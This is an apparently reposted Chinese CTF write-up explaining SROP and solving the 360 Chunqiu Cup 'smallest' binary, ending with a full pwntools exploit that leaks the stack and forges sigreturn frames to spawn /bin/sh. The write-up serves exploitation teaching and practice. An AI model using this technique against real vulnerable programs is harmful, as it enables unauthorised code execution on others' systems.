CTF-PWN-栈溢出-高级ROP-【SROP】

文章目录

  • linux信息处理
  • 2017 360春秋杯 smallest
  • 检查
  • 源码
  • 思路
    • 第一次要执行ret时的栈
    • 执行write函数时
    • 修改rsp到泄露的栈地址上去
  • 输入/bin/sh并sigreturn调用
  • 系统调用回忆
  • exp
    • 注意一个离离原上谱的地方

参考链接
SROP(Sigreturn Oriented Programming) 于 2014 年被 Vrije Universiteit Amsterdam 的 Erik Bosman 提出,其相关研究Framing Signals — A Return to Portable Shellcode发表在安全顶级会议 Oakland 2014 上,被评选为当年的 Best Student Papers。论文和PPT如下

  • 论文
  • PPT

linux信息处理

  1. 当中断或异常发送时,内核会发出一个信号给相关进程
  2. 此时系统切换到内核态,内核会执行setup_fram()函数来设置用户栈,setup_frame函数主要工作是往用户栈中push一个保存有全部寄存器的值和其它重要信息的数据结构(各架构各不相同),另外还会push一个signal function的返回地址——sigruturn()的地址。
  3. 接着执行hand_signal函数,该函数会跳转到用户态执行signal handler函数
  4. 在用户态执行signal handler函数后,因为返回地址被设置为sigreturn()系统调用的地址了,所以此时系统又会陷入内核执行sigreturn()系统调用。此系统调用的主要工作是用原先push到栈中的内容来恢复寄存器的值和相关内容。当系统调用结束后,程序恢复执行。

关于sigreturn的系统调用

/*x86架构*/
    mov eax,0x77
    int 80h
/*x86_64架构*/
    mov rax,0xf
    syscall

2017 360春秋杯 smallest

检查

静态链接64位文件
在这里插入图片描述

源码

程序反汇编拖入IDA后全部就图中这些
在这里插入图片描述

思路

溢出想构造ROP链的话,没有动态链接库,本身程序gadget少得可怜,gadget不足,想ret2syscall的话,syscall的参数rax得是59,rdi得是/bin/sh的地址,rsi和rdx得为零,
但相关pop的gadget都没有,所以想通过rop系统调用不行,此时可以利用SROP,因为sigreturn系统调用会执行一系列pop的指令,这样就有机会构造execve的相关参数了

  1. 首先是rax这个比较好设置,设置成execve对应的调用号即可
  2. 其次是rdi这个得是/bin/sh的地址,/binsh找不到,只能输入到栈上3再得到其在栈上的地址
  3. 接着是rsi和rdx。这个也比较好设置,都为0就行

那如何输入并得到/bin/sh的地址呢?
首先得能够得到输入部分栈的起始地址,然后再次输入时可输入/bin/sh,然后可以进行调用系统调用execve

  1. 首先得到write函数能够输出栈基地址
    write函数对应的系统调用需要rax为1,rdi为1,rsi为栈的基地址,rdx大于8,rax唯一可修改的方式为read函数执行后会将输入的长度存到rax,此时输入一个字节,并且返回地址可从0x4000B3开始,那么,将导致可以进行write函数输出栈的基地址。那么得提前布置好第返回地址,等到第二次执行read时可以输入一个字节,并且修改返回地址一个字节后正好是0x4000b3,
  2. 此时write函数将rsp对应值输出,由于此时只能输出,返回地址还得在第一次输入就得布置好。由于此时得到了rsp值,此时可以设置为输入函数,输入对应sigframe,同时输入了返回地址为系统调用得返回地址,由于此时长度要调用到sigreturn函数得话,read输入的长度必须等于15,所以得等两次输入才行,所以一次输入sigfram和/bin/sh,返回地址为继续输入的地址,等下次输入时可只输入系统调用的地址和另外七个不影响sigfram变化的字节。然后将会先调用sigreturn然后调用execve函数

第一次要执行ret时的栈

发现存在栈上内容为栈上的地址,可泄露栈上地址,然后将rsp修改为泄露的栈位置
在这里插入图片描述

执行write函数时

第一次输入两个0x4000b0地址,,第二次输入一个字节,并将返回地址修改为0x4000b3
在这里插入图片描述

修改rsp到泄露的栈地址上去

constants.SYS_read是常量read的系统调用号
write函数后此时程序还可以输入一次,这次输入先修改返回地址为0x4000b0,使得可以再输入一次,同时输入好对应的留给的空余的下次输入的返回地址和sigfram

然后再次输入时修改返回地址为系统调用的地址,同时字节数为15,使得可以系统调用sigreturn,然后修改对应寄存器。

此时rip为系统调用地址,rsp为泄露的栈地址,对应其他参数为输入函数对应的参数

sigreturn调用完后执行rip对应的输入函数
在这里插入图片描述

输入/bin/sh并sigreturn调用

最后输入/bin/sh并构造sigfram,同时修改返回地址为输入函数
然后再输入系统调用地址和7个空字节,此时会进行sigreturn调用。调用完后rip指向系统调用,此时rax为execve的调用号,则getshell

系统调用回忆

系统调用和普通库函数调用非常相似,只是系统调用由操作系统内核提供,运行于内核核心态,而普通的库函数调用由函数库或用户自己提供,运行于用户态。

int execve(const char *filename, char *const argv[], char *const envp[]);

filename 用于指定要运行的程序的文件名,argv 和 envp 分别指定程序的运行参数和环境变量。

!!system函数不是系统调用

exp

注意一个离离原上谱的地方

python的SigreturnFrame()函数即对应之前往用户栈中push一个保存有全部寄存器的值和其它重要信息的数据结构(各架构各不相同)

fram=SigreturnFrame()
fram.rax=constants.SYS_read
fram.rdi=0
fram.rsi=stack_addr
fram.rdx=0x400
fram.rsp=stack_addr
fram.rip=sys_ret
payload=p64(read_ret)+b'a' *8+bytes(fram)

这里bytes(fram)
fram里给各个寄存器赋值的地方不能赋值字节
花了大把时间才找到这个bug

from pwn import*
context(os="linux",arch="amd64",log_level="debug")
s=process("./srop")
srop = ELF('./srop')
#gdb.attach(s,"b main")
read_ret=0x00000000004000B0
sys_ret=0x00000000004000BE
payload=p64(read_ret)*3 
s.send(payload)

#sleep(3)
s.send("\xb3") # 修改返回地址为0x4000b3

stack_addr=u64(s.recv()[8:16])
print("泄露的栈地址",hex(stack_addr))

fram=SigreturnFrame()
fram.rax=constants.SYS_read
fram.rdi=0
fram.rsi=stack_addr
fram.rdx=0x400
fram.rsp=stack_addr
fram.rip=sys_ret
payload=p64(read_ret)+b"\x00"*8+bytes(fram)
s.send(payload)
#sleep(3)

payload=p64(sys_ret)+b"\x00"*7 # rax被设置为15,ret执行系统调用sigreturn,同时空字节也没有修改sigreturnframe的结构
# 由于系统调用改变rip和rsp,执行输入函数
s.send(payload)

print("fram的长度",len(fram))


fram=SigreturnFrame()
fram.rax=constants.SYS_execve
fram.rdi=stack_addr+270
fram.rsi=0
fram.rdx=0
fram.rip=sys_ret
payload=p64(read_ret)+b"\x00"*8+bytes(fram)
payload=payload+(270-len(payload))*b"\x00"+b"/bin/sh\x00"


s.send(payload)
payload=p64(sys_ret)+b"\x00"*7
s.send(payload)

s.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/292320.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

stable diffusion 人物高级提示词(一)头部篇

一、女生发型 prompt描述推荐用法Long hair长发一定不要和 high ponytail 一同使用Short hair短发-Curly hair卷发-Straight hair直发-Ponytail马尾high ponytail 高马尾,一定不要和 long hair一起使用,会冲突Pigtails2条辫子-Braid辫子只写braid也会生…

【算法挨揍日记】day46——377. 组合总和 Ⅳ\、96. 不同的二叉搜索树

377. 组合总和 Ⅳ 377. 组合总和 Ⅳ 题目描述: 给你一个由 不同 整数组成的数组 nums ,和一个目标整数 target 。请你从 nums 中找出并返回总和为 target 的元素组合的个数。 题目数据保证答案符合 32 位整数范围。 解题思路: 算法思路&a…

尚硅谷大数据技术-数据湖Hudi视频教程-笔记01【概述、编译安装】

大数据新风口:Hudi数据湖(尚硅谷&Apache Hudi联合出品) B站直达:https://www.bilibili.com/video/BV1ue4y1i7na 尚硅谷数据湖Hudi视频教程百度网盘:https://pan.baidu.com/s/1NkPku5Pp-l0gfgoo63hR-Q?pwdyyds阿里…

Java并发 - Java中所有的锁

Java 中提供了多种锁机制,用于实现多线程之间的同步和互斥。 1. 乐观锁&悲观锁 1.1 特点 乐观锁:假定多个事务之间很少发生冲突,操作不加锁。发生错误的时候进行回滚或重试。 悲观锁:假定冲突可能频繁发生,先…

Linux ---- 进程和计划任务

内核功用:进程管理、内存管理、文件系统、网络功能、驱动程序、安全功能等 一、程序和进程的关系 1、程序 保存在硬盘、光盘等介质中的可执行代码和数据静态保存的代码 2、进程 在CPU及内存中运行的程序代码动态执行的代码父、子进程 每个程序可以创建一个或多个…

[Redis实战]分布式锁-redission

五、分布式锁-redission 5.1 分布式锁-redission功能介绍 基于setnx实现的分布式锁存在下面的问题: 重入问题:重入问题就是指获得锁的线程可以再次进入到相同的锁的代码中,可重入锁的意义在于防止死锁。比如HashTable这样的代码中&#xf…

web自动化测试详细流程和步骤

一、什么是web自动化测试 自动化(Automation)是指机器设备、系统或过程(生产、管理过程)在没有人或较少人的直接参与下,按照人的要求,经过自动检测、信息处理、分析判断、操纵控制,实现预期的目…

Linux_apachectl 网页优化

1.1 网页压缩与缓存 在使用 Apache 作为 Web 服务器的过程中,只有对 Apache 服务器进行适当的优化配 置,才能让 Apache 发挥出更好的性能。反过来说,如果 Apache 的配置非常糟糕, Apache 可能无法正常为我们服务。因此&#xff0c…

手把手教你在Ubuntu22上安装VideoRetalking

VideoReTalking是一种新系统,可以根据输入音频编辑真实世界的谈话头部视频的面孔,即使具有不同的情感,也能生成高质量和口型同步的输出视频。我们的系统将这个目标分解为三个连续的任务: (1)具有规范表情的…

【UEFI基础】EDK网络框架(UNDI)

UNDI UNDI代码综述 UNDI全称Universal Network Driver Interface,它虽然属于UEFI网络框架的一部分,但是并没有在EDK开源代码中实现。不过目前主流网卡厂商都会提供UEFI下的网络驱动,并且大部分都实现了UNDI,这样BIOS下就可以通过…

Lazada商品详情API(lazada.item_get)参数详解:如何传递正确的参数

一、引言 随着电子商务的快速发展,获取商品详情成为了电商应用程序中的一项重要功能。Lazada作为东南亚地区知名的电商平台,提供了Lazada商品详情API(lazada.item_get)以方便开发者获取商品详情。本文将详细介绍如何使用Lazada商…

交换机03_基本配置

一、思科设备的命令行基础 1、进入设备的命令行界面 设备支持命令行 去查看设备上的接口,是否有console口需要有console线 右击此电脑设备管理器需要通过超级终端软件进行连接,如putt、secret CRT、xshell等软件 (1)思科模拟器…

【LeetCode:34. 在排序数组中查找元素的第一个和最后一个位置 | 二分】

🚀 算法题 🚀 🌲 算法刷题专栏 | 面试必备算法 | 面试高频算法 🍀 🌲 越难的东西,越要努力坚持,因为它具有很高的价值,算法就是这样✨ 🌲 作者简介:硕风和炜,…

深入探讨关于Redis的底层

1.1为什么Redis存储比关系型数据库快: 数据存储在内存中(比如企业项目中用户表中有一个亿的用户,如果再来注册一个用户,或者登录,必须先判断是否有这个数据,这个时候如果直接查询数据库的话,对服…

指增的超额来自于哪里,2024的乾坤九法,美股的宏观估值双杀

图片截止到:2024/1/4 上证 周四 -0.43% 市场热点分析 1. 2024元旦后国内外市场都出现了不同程度的下跌。技术面国内市场一直走在72日均线之下,而且没有形成底部,熊市还会延续。宏观方面,12月官方PMI持续向下,小企业更多…

SSL/TLS 握手过程详解

SSL握手过程详解 1、SSL/TLS 历史发展2、SSL/TLS握手过程概览2.1、协商交换密码套件和参数2.2、验证一方或双方的身份2.3、创建/交换对称会话密钥 3、TLS 1.2 握手过程详解4、TLS 1.3 握手过程详解5、The TLS 1.2 handshake – Diffie-Hellman Edition 1、SSL/TLS 历史发展 可…

QML 项目中使用 Qt Design Studio 生成的UI界面

作者:billy 版权声明:著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处 前言 今天来和大家聊一下 Qt Design Studio 这个软件。这个软件的主要功能是用来快速完成 UI 界面,就和 widget 中的 desig…

(湖科大教书匠)计算机网络微课堂(下)

第四章、网络层 网络层概述 网络层主要任务是实习网络互连,进而实现数据包在各网络之间的传输 因特网使用TCP/IP协议栈 由于TCP/IP协议栈的网络层使用网际协议IP,是整个协议栈的核心协议,因此TCP/IP协议栈的网络层常称为网际层 网络层提供…

1.3 金融数据可视化

跳转到根目录:知行合一:投资篇 已完成: 1.1 编程基础   1.1.1 投资-编程基础-numpy   1.1.2 投资-编程基础-pandas 1.2 金融数据处理 1.3 金融数据可视化 文章目录 1. 金融数据可视化1.1. matplotlib1.1.1. 沪深300走势图1.1.2. 日线均线…

D50|单调栈

739.每日温度 初始思路&#xff1a; 暴力解法但是会超时。 class Solution {public int[] dailyTemperatures(int[] temperatures) {int[] answer new int[temperatures.length];for(int i 0;i<temperatures.length;i){for(int j i;j<temperatures.length;j){if(te…